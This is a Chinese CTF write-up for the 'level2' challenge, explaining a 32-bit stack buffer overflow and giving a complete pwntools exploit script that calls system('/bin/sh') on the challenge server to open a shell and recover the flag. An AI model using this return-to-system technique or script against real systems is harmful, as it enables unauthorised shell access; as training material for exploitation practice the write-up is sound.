1.查看文件保护
ELF32,开启了NX
连接nc
让用户输入一个字符串后,返回“Hello World!”退出
2. IDA静态分析
(1)main
程序逻辑很简单,执行vulnerable_function()后,系统输出“Hello World!”
(2)vulnerable_function()
系统输出提示“echo Input:”
定义了一个长度为0x88的数组,但read函数允许用户输入0x100个字符,可以发生缓冲区溢出。
(3)整理思路
看看程序有没有跟题目level0一样的后门(借助程序自带的可执行代码来执行任意操作),Shift+F12 打开字符串内容窗口查看程序中的字符串,观察到存在 “system” 和 “/bin/sh” 字符串,这是解出题目的关键:
可是找不到跟level0中一样可以直接执行system("/bin/sh")
的函数了,但是找到了_system
函数可以getshell
,这里的_system
函数参数没有写,需要我们自己将 /bin/sh 作为参数传入 system 函数,考查的是 ROP 编程 :
我们可以通过强大的 rop 技术来获得系统权限,可以通过构造一个system("/bin/sh")的伪栈帧
,vulnerable_function() 执行结束后返回到我们构造的伪栈帧去执行system("bin/sh")
,这样就可以获取 shell。
双击数组buf跟进,发现buf
距离返回地址(ebp)
的偏移量为(0x88+4)
所以payload
应该为(0x88+4) * b'a' + p32(_system函数地址) + p32(0)或b'c'*4 + p32(/bin/sh字符串地址)
3.解题
payload
应该为(0x88+4) * b'a' + p32(_system函数地址) + p32(0)或b'c'*4 + p32(/bin/sh字符串地址)
exp脚本如下:
from pwn import *
r = remote("61.147.171.105", 51276)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = next(elf.search(b'/bin/sh'))
payload = b'a'*(0x88+4) + p32(system_addr) + b'c'*4 + p32(binsh_addr)
r.sendlineafter(b'Input:',payload) # 在接收到Input:之后传入payload
r.interactive()
这里利用elf中的搜索功能来获取函数_system地址和字符串'/bin/sh'的地址
payload分析:
- 1.0x88 是填充栈,增加 4 个 byte(目标应用为 32 位程序) 的 ‘a’ 则是用来填充 ebp 的,之后就是 retn 用 system 的地址覆盖,程序执行完之后就返回到 system;
- 2.方法一:在进入 system 函数之后,正常的调用会有一个返回的地址这里使用 4 个 byte 的 cccc 覆盖掉(因为我们的目的是通过system("bin/sh")来获取shell,所以函数执行完后的返回地址可以任意);
- 方法二:填充0,这里之所以有一个
p32(0)
,是因为我们正常调用一个函数时,栈从高到底的结构为:参数 返回地址 ebp,所以这里我们需要提供一个虚假的返回地址以模拟正常的调用过程。 - 3.最后就是将 /bin/sh 的地址作为 system() 的参数传入,如此一来栈溢出之后就会执行system("/bin/sh")。
执行exp:
得到flag,flag为:
cyberpeace{8483add834fb4121c5d6e306a070ed09}